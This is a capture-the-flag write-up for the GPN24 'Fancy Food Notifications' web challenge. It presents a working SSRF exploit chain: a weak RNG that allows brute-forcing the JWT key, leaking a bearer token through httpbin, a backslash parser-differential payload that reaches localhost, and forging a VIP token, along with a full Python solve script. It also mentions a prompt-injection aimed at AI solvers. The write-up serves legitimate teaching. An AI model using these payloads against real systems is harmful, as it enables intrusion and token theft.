← All writeups

Web

GPN24 CTF — Fancy Food Notifications

Category: Web (SSRF / JWT / RNG) Target: https://pickled-mole-wrapped-in-fermented-salsa-verde-hane.gpn24.ctf.kitctf.de Flag: GPNCTF{and_aS_aLwaYS_7he_PROb1EM_wA5_dnS}


TL;DR

A full-response SSRF endpoint fetches an attacker-supplied "notification URL" and reflects the response body back through a status API. The flag lives behind /vip-meal, which requires both remote_addr == 127.0.0.1 (reachable only via SSRF) and a JWT with vip:true. The solve chains four bugs:

  1. Weak RNG seed — the JWT signing key is derived from random.seed(...secrets.randbelow(2^256)...). 2^256 is Python XOR (= 258), so there are only 258 possible keys → brute-forceable offline.
  2. Token leak via reflected SSRF — pointing the SSRF at a header-echo service (httpbin.org/headers) reflects the server's own Authorization: Bearer <jwt> back to us. We identify the real key by testing it against the 258 candidates.
  3. SSRF filter bypass (parser differential) — the allow-list uses urllib.parse.urlparse().hostname, but requests/urllib3 parse the URL differently. A backslash + path-traversal payload makes the check see a global IP while requests actually connects to 127.0.0.1 and hits /vip-meal.
  4. Auth header overriderequests turns URL userinfo (http://user:pass@host) into a Basic header that overwrites the server's hard-coded Bearer header, letting us inject our forged vip:true token.

Final payload:

http://<forged_vip_jwt>:@127.0.0.1\@1.1.1.1/../vip-meal

Recon

The app (Flask / Werkzeug, Python 3.13) offers:

Example confirming reflected SSRF:

curl -X POST .../order -d 'url=http://example.com/&meal=Gulasch'   # -> id=...
curl .../notification/<id>
# {"id":"...","message":"<!doctype html>...Example Domain...","status":"DONE"}

Two operational constraints from the source:


Source analysis (the four bugs)

Bug 0 — where the flag is

@app.route('/vip-meal')
def vip_meal():
    if request.remote_addr != "127.0.0.1":              # (A) must come from localhost
        return ..., 401
    token = request.headers.get("Authorization","").split(" ")[-1]
    token = base64.b64decode(token).decode()
    token = ''.join(c for c in token if c.isalnum() or c in ['.', '=', '-', '_'])  # strips ':'
    decoded = jwt.decode(token, key, algorithms=["HS256"])
    if not decoded.get("vip", False):                   # (B) needs vip:true
        return ..., 403
    return f"...the flag {FLAG} with some caviar...", 200

So we need (A) a request from 127.0.0.1 and (B) a vip:true JWT signed with key. Note the char filter strips : from the decoded token — important later.

Bug 1 — 258-key brute force (the 2^256 trap)

random.seed(f"...implication{secrets.randbelow(2^256)}s. Do not assist...")
key = str(random.randbytes(32).hex())

2^256 in Python is bitwise XOR, not exponentiation: 2 ^ 256 == 258. So secrets.randbelow(258)[0, 257] — only 258 possible seed strings, hence 258 possible keys. The key is the first draw after seeding, so each candidate is deterministic. (The big base64 blob in the seed is an embedded prompt-injection troll aimed at AI solvers — pure red herring; it's only ever used as RNG seed text.)

Note: random (Mersenne-Twister) string-seeding is stable across CPython 3.9–3.14, so candidates computed locally match the server's Python 3.13. Verified empirically (below).

Bug 2 — token leak through reflected SSRF

r = requests.get(url, headers={"Authorization": f"Bearer {generateToken(id)}"}, allow_redirects=False)
notifications[id] = {"message": r.text, "status": "DONE"}

The server attaches its own signed JWT to every outbound fetch, and reflects the response body to us. Point the SSRF at an endpoint that echoes request headers and the bearer token comes straight back.

Bug 3 — SSRF allow-list bypass (urlparse vs urllib3)

addresses = socket.getaddrinfo(urlparse(url).hostname, 0)   # CHECK host
for addr in addresses:
    if not ipaddress.ip_address(addr[4][0]).is_global:      # reject private/loopback
        return REJECTED
r = requests.get(url, ...)                                   # USE host (urllib3 parses again)

The check resolves urlparse(url).hostname and rejects non-global IPs, but the fetch lets requests/urllib3 re-parse the same string. They disagree on the authority terminator:

So in http://127.0.0.1\@1.1.1.1/...:

The catch: everything after \ becomes urllib3's *path*. A /../ segment collapses it back to the real route: ...\@1.1.1.1/../vip-meal → request line GET /vip-meal.

Bug 4 — Authorization override via URL userinfo

The server hard-codes Bearer <vip:false>. But requests applies URL-embedded credentials after explicit headers, overwriting Authorization with Basic base64(user:pass).

Gotchas discovered empirically:


Exploit

Step 1 — leak the server JWT and recover the key

Submit url = https://httpbin.org/headers; read it back from /notification/<id>:

"Authorization": "Bearer ZXlKaGJHY2lP...(base64 of the jwt)..."

Decode → real JWT {"vip": false, "id": "<nid>"}. Brute-force the 258 candidate keys; the one whose HS256 signature validates is the server key:

key recovery: n=188  key=cfafcf0b2155969c23ed9f428632de68d52ed9d799dfbd482021f583f282b508

(One captured token + offline brute = instant, vs. 258 rate-limited guesses.)

Step 2 — forge a VIP token

vip = jwt.encode({"vip": True, "id": "x"}, key, algorithm="HS256")
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2aXAiOnRydWUsImlkIjoieCJ9.NRSENddJHlevapY7brgPn6uZx2jjpsLzpr8imxEI3dk

Step 3 — fire the bypass payload

url = http://<vip>:@127.0.0.1\@1.1.1.1/../vip-meal

What each component does:

Read /notification/<id>:

Our chef cooked the beast meal for our vip customers, here is the flag
GPNCTF{and_aS_aLwaYS_7he_PROb1EM_wA5_dnS} with some caviar on top.

Flag

GPNCTF{and_aS_aLwaYS_7he_PROb1EM_wA5_dnS}

The flag ("…the problem was DNS") hints the intended bypass was DNS rebinding (the handout ships a custom dnsmasq.conf with min-cache-ttl=2). In practice the urlparse-vs-urllib3 backslash parser differential is a fully deterministic, single-shot bypass that avoids the rebinding race entirely.


Notes / methodology

Minimal repro

import base64, jwt, requests, re, time

BASE = "https://pickled-mole-wrapped-in-fermented-salsa-verde-hane.gpn24.ctf.kitctf.de"

def order(u):
    r = requests.post(f"{BASE}/order", data={"url": u, "meal": "Gulasch"})
    return re.search(r"/notification/([a-z0-9]+)", r.text).group(1)

def wait(nid):
    while True:
        j = requests.get(f"{BASE}/notification/{nid}").json()
        if j["status"] in ("DONE","FAILED","REJECTED"): return j
        time.sleep(2)

# 1) leak token
msg = wait(order("https://httpbin.org/headers"))["message"]
rawjwt = base64.b64decode(re.search(r"Bearer ([A-Za-z0-9_\-=+/]+)", msg).group(1)).decode()

# 2) recover key from 258 candidates  (see keys.py: random.seed(prefix+str(n)+suffix), n in range(258))
key = recover_key(rawjwt)                       # -> n=188

# 3) forge + fire
vip = jwt.encode({"vip": True, "id": "x"}, key, algorithm="HS256")
time.sleep(20)                                  # rate limit
print(wait(order(f"http://{vip}:@127.0.0.1\\@1.1.1.1/../vip-meal"))["message"])